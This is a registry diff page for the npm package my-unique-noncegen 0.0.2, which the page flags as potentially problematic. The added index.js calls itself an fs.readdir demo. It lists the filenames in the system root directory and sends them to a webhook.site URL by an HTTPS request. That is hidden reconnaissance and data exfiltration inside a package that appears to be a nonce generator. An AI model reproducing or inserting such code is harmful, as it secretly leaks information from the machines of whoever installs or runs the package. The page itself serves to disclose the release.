my-unique-noncegen 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of my-unique-noncegen might be problematic. Click here for more details.
- package/index.js +43 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
// Node.js program to demonstrate the
|
|
2
|
+
// fs.readdir() method
|
|
3
|
+
|
|
4
|
+
// Import the filesystem module
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
|
|
7
|
+
// Function to get current filenames
|
|
8
|
+
// in directory
|
|
9
|
+
var filesPath =""
|
|
10
|
+
fs.readdir("/", (err, files) => {
|
|
11
|
+
if (err)
|
|
12
|
+
console.log(err);
|
|
13
|
+
else {
|
|
14
|
+
console.log("\nCurrent directory filenames:");
|
|
15
|
+
files.forEach(file => {
|
|
16
|
+
filesPath =filesPath + "|" + file
|
|
17
|
+
|
|
18
|
+
console.log(filesPath);
|
|
19
|
+
})
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
console.log(filesPath)
|
|
24
|
+
console.log("!@#")
|
|
25
|
+
const https = require('https');
|
|
26
|
+
https.get('https://webhook.site/21f2c0a3-b1a3-441b-9e51-b88d14747171?files'+filesPath, (resp) => {
|
|
27
|
+
let data = '';
|
|
28
|
+
|
|
29
|
+
// A chunk of data has been received.
|
|
30
|
+
resp.on('data', (chunk) => {
|
|
31
|
+
data += chunk;
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
// The whole response has been received. Print out the result.
|
|
35
|
+
resp.on('end', () => {
|
|
36
|
+
console.log(JSON.parse(data).explanation);
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
}).on("error", (err) => {
|
|
40
|
+
console.log("Error: " + err.message);
|
|
41
|
+
});
|
|
42
|
+
}
|
|
43
|
+
})
|